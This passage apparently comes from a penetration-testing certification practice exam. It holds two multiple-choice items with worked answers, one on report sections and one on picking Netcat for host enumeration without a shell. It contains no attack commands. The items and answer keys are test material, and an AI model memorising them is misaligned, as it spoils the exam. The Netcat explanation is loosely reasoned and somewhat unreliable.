**B.** Methodology
**C.** Executive summary
**D.** Risk scoring
**Answer: (SHOW ANSWER)**
In the final report for a penetration test engagement, the section that most likely contains details on the impact, overall security findings, and high-level statements is the executive summary.
Here's why:
* Purpose of the Executive Summary:

* It provides a high-level overview of the penetration test findings, including the most critical issues, their impact on the organization, and general recommendations.
* It is intended for executive management and other non-technical stakeholders who need to understand the security posture without delving into technical details.
* Contents of the Executive Summary:
* Impact: Discusses the potential business impact of the findings.
* Overall Security Findings: Summarizes the key vulnerabilities identified during the engagement.
* High-Level Statements: Provides strategic recommendations and a general assessment of the security posture.
* Comparison to Other Sections:
* Quality Control: Focuses on the measures taken to ensure the accuracy and quality of the testing process.
* Methodology: Details the approach and techniques used during the penetration test.
* Risk Scoring: Provides detailed risk assessments and scoring for specific vulnerabilities but does not offer a high-level overview suitable for executives.

**NEW QUESTION: 113**
A penetration tester gains access to a host but does not have access to any type of shell. Which of the following is the best way for the tester to further enumerate the host and the environment in which it resides?
**A.** ProxyChains
**B.** Netcat
**C.** PowerShell ISE
**D.** Process IDs
**Answer: (SHOW ANSWER)**
If a penetration tester gains access to a host but does not have a shell, the best tool for further enumeration is Netcat. Here's why:
Netcat:
Versatility: Netcat is known as the "Swiss Army knife" of networking tools. It can be used for port scanning, banner grabbing, and setting up reverse shells.
Enumeration: Without a shell, Netcat can help enumerate open ports and services running on the host, providing insight into the host's environment.
Comparison with Other Tools:
ProxyChains: Used to chain proxies together, not directly useful for enumeration without an initial shell.
PowerShell ISE: Requires a shell to execute commands and scripts.
Process IDs: Without a shell, enumerating process IDs directly isn't possible.
Netcat's ability to perform multiple network-related tasks without needing a shell makes it the best choice for further enumeration.